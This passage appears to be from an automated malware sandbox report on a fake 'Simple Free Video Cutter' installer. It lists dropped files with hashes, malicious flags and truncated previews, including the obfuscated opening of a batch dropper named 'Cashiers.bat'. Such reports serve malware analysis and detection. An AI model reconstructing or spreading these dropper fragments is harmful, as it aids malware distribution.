SSDEEP:	12288:i0QfKb7nH5lrPo37AzHTA63I0ihE4qE7prN9cgKARpkCXYnXExy8b:SfKbT5lrPo37AzHTA63/cfqAcgKckCIk
MD5:	3E3A578CDCF4663A36AD403563E612B2
SHA1:	697408792AF7BF644F151E9AE01E7EF3F4370624
SHA-256:	7C4389AE81B6E150F3FB4EB59357E6973ACC7D331946AD21D55EF6B66BAB4D55
SHA-512:	34188764CEBFE489E7D05ED5230A68BD4399C5E63702127476CC1D007D0BA764F1F0F2915FBD2B68C8EAEEAD6A2D29BD538090A0D65C6FB5C2F716A74CBD45F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........3.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....%.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..0...........................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-1MFIF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.4399730864921905
Encrypted:	false
SSDEEP:	6:c+SdoDGi9C9quMc4D+2ZZQTHGdt53D6OL8Qy:U899ZuMcmvGHG5z6VQy
MD5:	5D1F6956165E6F95D80C0EC48C4B7B39
SHA1:	035D8BBF724413EE63BD5E1CA33983552475A650
SHA-256:	CD18B928D2F2F1AAE123C23CC934EF42E89E4CDEAECD2D0961D84A4B2EFF09E7
SHA-512:	5A8317D0A3CA91BD0CDDBA9A846E773F8AD1CE2C42140E8E55307E5AEF812FF06C89E1DFE40230D309E40522CA1DF9D861AB0D551ED2478E272D22314BC70EE0
Malicious:	false
Reputation:	unknown
Preview:	"10-......: ..... ...." 3.9............. ... ........ ............... ..........Windows XP/2003/Vista/2008/7/8/2012/10/../2016/2019....(c) 10-Strike Software, 2008-2023..https://www.10-strike.ru/..

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-28PK6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-35CP3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	data
Category:	dropped
Size (bytes):	3554571
Entropy (8bit):	6.415411929434297
Encrypted:	false
SSDEEP:	98304:VEOL3ma2wof6Dd0JYNHg5V3UvBsrLSxuj3:VEOL3mdwdd0JYN23zSe
MD5:	60675ED0275B5EDB4C021D7F2FDE9B7E
SHA1:	9D2E7353AEA10D5086FB68C3C546DD8080044F0E
SHA-256:	945EC8132B450C2EBEDA0B771569387318B7EFD730DD967555E202AB7FA5E84C
SHA-512:	D5EA3C9BDD2C9EF77DA1C987C9AD42FBAB3C7195C8384E4D522B04E72D5FBEF4FCA89D9740A166D3F6B0E9297B20E7E0BEA21436F48B12951785AE33955EA00E
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....]J_..........#..............................@..........................p6.............................................t........................................................................................................................text............................... ..`.rdata..>........ ..................@..@.data...7T... ...0... ..............@....rsrc.... ....... ...P..............@..@.vhead2....... ......p .............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-ETFGC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-F4EPM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-H7DA2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	15866
Entropy (8bit):	5.020543360778776
Encrypted:	false
SSDEEP:	384:Aqw+UCSCoILf3W+RC1L2X3Mnh+Yw/QptSMPWbaQP:Wc4Ir3Wh2DF4p4laQP
MD5:	BF23B0CB3FB4563A8E76D948920310FF
SHA1:	138D3D1C57DD3FF788843BC088B1A5C01F4852AE
SHA-256:	E98378B5F1FB11DE06503B2143B593D1CB66B2B2E8F831FA39472F83AFDAEB26
SHA-512:	D26A7FE7C29DF0D8843218FC2E89D25B2CA85C6CEE53AB454F17B442673006731AF31F49A7EB6EE1A982A6F347BE87E115D86017C5C1E5D8ECD29ECD640C5FD2
Malicious:	false
Reputation:	unknown
Preview:	* 10-......: ..... .... ..https://www.10-strike.ru/network-diagram/..(c) 2008-2023, 10-Strike Software..----------------------------.. ... ......:.... 3.9 * ...... 2023..- ........ ..... .. ......... ONVIF . ......... ..... ............... .. ..... . ............ RTSP URL...- ......... ........... ........ ......... .... ........... . ......... ........ .. ........- ........ ..... .. ........ ........ .... . ....... ....... .. ............- ......... ........... .......... ..... .. ........... ......... .........- ......... ........ ...... ...... ..... . Excel...- .......... ............... ......, ..... ...... ........ ..... ...... ... .............* 3.8 * .... 2022..- ......... ...... ......... . "........ ......"...- ....... ........ ..... ...........- ......... ......... ..... ....... ......... . "........ ....."...- ......... ........... ........ ............ ............ . ...... ......... . ............ .. .. ...... ..- ......... .... .............. ....... ............- ..

C:\Users\user\AppData\Local\Simple Free Video Cutter\is-K9DJO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with very long lines (584), with CRLF line terminators
Category:	dropped
Size (bytes):	5036
Entropy (8bit):	4.851052909539205
Encrypted:	false
SSDEEP:	96:j0kJ9PfltyDJMJ3dhip+1dvToM7ic/67kZ3okehLeV7cYq7:j4ENhhvMMxeSGr7
MD5:	DC55027FDFFA56D9112D3D0E4F9AEA5E
SHA1:	94B340BB7E649B348F711E692159193C15FFE6B6
SHA-256:	5AF24498951E305FE55378C58808261359DC559CC11BE72A56726AECD1F8676F
SHA-512:	8DCD22BAC7ED110B4511D52B612FFB5748241951F4022D625691A9600138171324BCC69854D6C3AF1DF4ED50B746E803BD5DFF8B8CFC29E2D80A856E79D1E549
Malicious:	false
Reputation:	unknown
Preview:	............ .......... (.......) ......................... ............ .......... (.......) ........ ............ (......... .......) . ........ ....... . ... ............ ....... ............. .... (..... - ............ ... .........) ......... ... ... "10-......: ..... ...." (..... .........). ... ............ . ......... ........... .. ........ .... (..... - ............... ... .........) - .......... .............. ............. ......... .... .. ......... ... ... "10-......: ..... ....", ....... ........... ............ . ... . ........ ./... ........... .... - ......... ............ ............ (........ .... ..... ....... ...) ................ ..... .. ............. ........., ............ ...... ........... . ....... ......... . ............ . .............. ......... ........... (.........) ......... . ......... (....... ................ ........)............ ....... ...... (............. ..........)..=================================================........... ...... (....

C:\Users\user\AppData\Local\Simple Free Video Cutter\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\license.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with very long lines (584), with CRLF line terminators
Category:	dropped
Size (bytes):	5036
Entropy (8bit):	4.851052909539205
Encrypted:	false
SSDEEP:	96:j0kJ9PfltyDJMJ3dhip+1dvToM7ic/67kZ3okehLeV7cYq7:j4ENhhvMMxeSGr7
MD5:	DC55027FDFFA56D9112D3D0E4F9AEA5E
SHA1:	94B340BB7E649B348F711E692159193C15FFE6B6
SHA-256:	5AF24498951E305FE55378C58808261359DC559CC11BE72A56726AECD1F8676F
SHA-512:	8DCD22BAC7ED110B4511D52B612FFB5748241951F4022D625691A9600138171324BCC69854D6C3AF1DF4ED50B746E803BD5DFF8B8CFC29E2D80A856E79D1E549
Malicious:	false
Reputation:	unknown
Preview:	............ .......... (.......) ......................... ............ .......... (.......) ........ ............ (......... .......) . ........ ....... . ... ............ ....... ............. .... (..... - ............ ... .........) ......... ... ... "10-......: ..... ...." (..... .........). ... ............ . ......... ........... .. ........ .... (..... - ............... ... .........) - .......... .............. ............. ......... .... .. ......... ... ... "10-......: ..... ....", ....... ........... ............ . ... . ........ ./... ........... .... - ......... ............ ............ (........ .... ..... ....... ...) ................ ..... .. ............. ........., ............ ...... ........... . ....... ......... . ............ . .............. ......... ........... (.........) ......... . ......... (....... ................ ........)............ ....... ...... (............. ..........)..=================================================........... ...... (....

C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3554571
Entropy (8bit):	6.415412010753764
Encrypted:	false
SSDEEP:	98304:OEOL3ma2wof6Dd0JYNHg5V3UvBsrLSxuj3:OEOL3mdwdd0JYN23zSe
MD5:	D59C6831D558B3F9F0B80F1B28DA5C57
SHA1:	F057C60949DDA343EC662BB771A8883F873EF353
SHA-256:	A197299BDFB75E255B24601F44ACFF33902964E90A2969BCB2F1138C6DB261F3
SHA-512:	272F7F0006EBB7C04BF8774E756F9C4EA00634173EBF147C9F189A2BDCFB2C5EA16CE36F513D5511EB70E42F6C522973AF4AE7C7E812B83320A6A471EDC57B15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....]J_..........#..............................@..........................p6.............................................t........................................................................................................................text............................... ..`.rdata..>........ ..................@..@.data...7T... ...0... ..............@....rsrc.... ....... ...P..............@..@.vhead2....... ......p .............a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	InnoSetup Log Simple Free Video Cutter, version 0x30, 5228 bytes, 724536\user, "C:\Users\user\AppData\Local\Simple Free Video Cutter"
Category:	dropped
Size (bytes):	5228
Entropy (8bit):	4.763169143641606
Encrypted:	false
SSDEEP:	96:JNdWz38mvpPfJd9L+eOIh9t4cVSQs0LaPo:JNdWz3fpPf4HIhccVSQ1aw
MD5:	C7DEE7F373781D6E068629C8C2DA5EFA
SHA1:	2CFD5CE0B7D013E29A3683A722B13BBF808DB02A
SHA-256:	5FF90F5659510CD6484F025E53BCEFC9D2A2EB91380A7D747740FC341B569CB2
SHA-512:	4FBC3B3DD461BD82BC4CE0E8EC469E706A4332F21F8990FC8F3F0B09788CDFC5A769234B8013FD1AB79D972BE9ED2B59C5CFEB9025E434088A832E83E23AAB89
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Simple Free Video Cutter........................................................................................................Simple Free Video Cutter........................................................................................................0.......l...%.................................................................................................................F*.........0........U....724536.user5C:\Users\user\AppData\Local\Simple Free Video Cutter...............r.. .....x......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:U

C:\Users\user\AppData\Local\Simple Free Video Cutter\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.474083228041142
Encrypted:	false
SSDEEP:	12288:i0QfKb7nH5lrPo37AzHTA63I0ihE4qE7prN9cgKARpkCXYnXExy8b:SfKbT5lrPo37AzHTA63/cfqAcgKckCIk
MD5:	3E3A578CDCF4663A36AD403563E612B2
SHA1:	697408792AF7BF644F151E9AE01E7EF3F4370624
SHA-256:	7C4389AE81B6E150F3FB4EB59357E6973ACC7D331946AD21D55EF6B66BAB4D55
SHA-512:	34188764CEBFE489E7D05ED5230A68BD4399C5E63702127476CC1D007D0BA764F1F0F2915FBD2B68C8EAEEAD6A2D29BD538090A0D65C6FB5C2F716A74CBD45F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........3.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....%.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..0...........................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Simple Free Video Cutter\whatsnew.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
File Type:	ISO-8859 text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	15866
Entropy (8bit):	5.020543360778776
Encrypted:	false
SSDEEP:	384:Aqw+UCSCoILf3W+RC1L2X3Mnh+Yw/QptSMPWbaQP:Wc4Ir3Wh2DF4p4laQP
MD5:	BF23B0CB3FB4563A8E76D948920310FF
SHA1:	138D3D1C57DD3FF788843BC088B1A5C01F4852AE
SHA-256:	E98378B5F1FB11DE06503B2143B593D1CB66B2B2E8F831FA39472F83AFDAEB26
SHA-512:	D26A7FE7C29DF0D8843218FC2E89D25B2CA85C6CEE53AB454F17B442673006731AF31F49A7EB6EE1A982A6F347BE87E115D86017C5C1E5D8ECD29ECD640C5FD2
Malicious:	false
Reputation:	unknown
Preview:	* 10-......: ..... .... ..https://www.10-strike.ru/network-diagram/..(c) 2008-2023, 10-Strike Software..----------------------------.. ... ......:.... 3.9 * ...... 2023..- ........ ..... .. ......... ONVIF . ......... ..... ............... .. ..... . ............ RTSP URL...- ......... ........... ........ ......... .... ........... . ......... ........ .. ........- ........ ..... .. ........ ........ .... . ....... ....... .. ............- ......... ........... .......... ..... .. ........... ......... .........- ......... ........ ...... ...... ..... . Excel...- .......... ............... ......, ..... ...... ........ ..... ...... ... .............* 3.8 * .... 2022..- ......... ...... ......... . "........ ......"...- ....... ........ ..... ...........- ......... ......... ..... ....... ......... . "........ ....."...- ......... ........... ........ ............ ............ . ...... ......... . ............ .. .. ...... ..- ......... .... .............. ....... ............- ..

C:\Users\user\AppData\Local\Temp\353d24c5

Download File

Process:	C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe
File Type:	data
Category:	dropped
Size (bytes):	767433
Entropy (8bit):	7.2162450458272485
Encrypted:	false
SSDEEP:	12288:7X8HaRLmWZWqbrjUGT7CDFIo3aN60mttF4oSOhoJ1U86AbOPbuaysBY/ldGyQP6w:b8HaRpZWqS5wNNSWf6Rzu5sBoldGyQPn
MD5:	82A9C56E49F0AE611B6663B4EE5BC634
SHA1:	79380AACEF6731DEB99639C752DB2ADCF8F7CD12
SHA-256:	06EC08B62B9E80B2E635D5B813AB594E6ACAC062B7E643F0AC10B074658EEFE4
SHA-512:	D979FFF496A16BC2E8D0E29DB4C64A76F1977BE96DB8C3BFD48F63F59F1764F3D5FEC8031B348756C172042B146C1F1A14DC3A5B052517617F46B2688748AA61
Malicious:	false
Reputation:	unknown
Preview:	......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................F..B...[..y..b..x..e..w...[..J..q..e..w...f..............................................._.....l..........................................................................................U..b...e..u......................................................................................._..D.....e..8..J..{..d.......................................................................8..&.............................................

C:\Users\user\AppData\Local\Temp\Cashiers

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	ASCII text, with very long lines (860), with CRLF line terminators
Category:	dropped
Size (bytes):	19107
Entropy (8bit):	5.059623981738961
Encrypted:	false
SSDEEP:	384:7GMMJ+hxOkUeE0sE8o1AmYo1XVDE8yn8rxQTW3RmwbaUXaPR7Yw0f+2UX6W3NsCI:7GMuXrBRE8o1ACXpcnkzwPSwhi/mnfo
MD5:	76823B92D15182B6DF0178DB960FC102
SHA1:	419AFA2A867EE692F81F787552174CC0E29AE9C1
SHA-256:	6A9CB5B829BAD93ED637D8659602F875F6D4CD2F9B1B1B55FAFA54591ADF49BC
SHA-512:	12B2E6A748F67401BF025A30A0EF669CBD48BAA3AC5155B283640338D8FB59E6B907E28A49B8113AC7E0808960E6CE57395EF7FD38D6BAAE1174E52D6264967B
Malicious:	false
Reputation:	unknown
Preview:	Set Illustrated=M..RmAInclusion Www Tours Ev ..vTYECoastal Poker Hack Home Daughter Growth ..yIHRim Shoes Naughty Cove Shark Neural Buf ..EqChemicals Burner Jessica ..akNested Motorcycle Dome Mariah Qui Terrorist ..ytAssumes Summit ..QTJJExcerpt Blank ..Set Argentina=1..UZEVDrunk Validity Comparable Ambien Future ..rrcBhutan Propecia ..KAAccompanying Rec Ed Houses Eagles Indonesia Sells Sunny Apple ..BNFucked Merely Cabin Warehouse Multimedia Somewhere Chapters Ak ..mlShine Devon Intense Belly Ocean Wr Flush ..SUEnjoying Kitchen Deep ..idZjEnable ..eIRefined Locate Supervisors Flexibility Temperatures While Decimal Big Poet ..lsOCaused Coalition If Warranty ..Set Ist=d..naqqAnnounced Dh Compliance Inspired Milf Contamination Sensitivity ..TnWhale Wage Trauma Africa Core ..NGQCBleeding Specials Subscriber Draft Mostly Forests ..hpFlags Comes Unnecessary Wins Tongue Creations Topic Yoga ..ICJInterested Accessory Measurements Duties Obligations Permissions Murphy ..pomFixed Neighbors ..Se

C:\Users\user\AppData\Local\Temp\Cashiers.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (860), with CRLF line terminators
Category:	dropped
Size (bytes):	19107
Entropy (8bit):	5.059623981738961
Encrypted:	false
SSDEEP:	384:7GMMJ+hxOkUeE0sE8o1AmYo1XVDE8yn8rxQTW3RmwbaUXaPR7Yw0f+2UX6W3NsCI:7GMuXrBRE8o1ACXpcnkzwPSwhi/mnfo
MD5:	76823B92D15182B6DF0178DB960FC102
SHA1:	419AFA2A867EE692F81F787552174CC0E29AE9C1
SHA-256:	6A9CB5B829BAD93ED637D8659602F875F6D4CD2F9B1B1B55FAFA54591ADF49BC
SHA-512:	12B2E6A748F67401BF025A30A0EF669CBD48BAA3AC5155B283640338D8FB59E6B907E28A49B8113AC7E0808960E6CE57395EF7FD38D6BAAE1174E52D6264967B
Malicious:	false
Reputation:	unknown
Preview:	Set Illustrated=M..RmAInclusion Www Tours Ev ..vTYECoastal Poker Hack Home Daughter Growth ..yIHRim Shoes Naughty Cove Shark Neural Buf ..EqChemicals Burner Jessica ..akNested Motorcycle Dome Mariah Qui Terrorist ..ytAssumes Summit ..QTJJExcerpt Blank ..Set Argentina=1..UZEVDrunk Validity Comparable Ambien Future ..rrcBhutan Propecia ..KAAccompanying Rec Ed Houses Eagles Indonesia Sells Sunny Apple ..BNFucked Merely Cabin Warehouse Multimedia Somewhere Chapters Ak ..mlShine Devon Intense Belly Ocean Wr Flush ..SUEnjoying Kitchen Deep ..idZjEnable ..eIRefined Locate Supervisors Flexibility Temperatures While Decimal Big Poet ..lsOCaused Coalition If Warranty ..Set Ist=d..naqqAnnounced Dh Compliance Inspired Milf Contamination Sensitivity ..TnWhale Wage Trauma Africa Core ..NGQCBleeding Specials Subscriber Draft Mostly Forests ..hpFlags Comes Unnecessary Wins Tongue Creations Topic Yoga ..ICJInterested Accessory Measurements Duties Obligations Permissions Murphy ..pomFixed Neighbors ..Se

C:\Users\user\AppData\Local\Temp\Dude

Download File

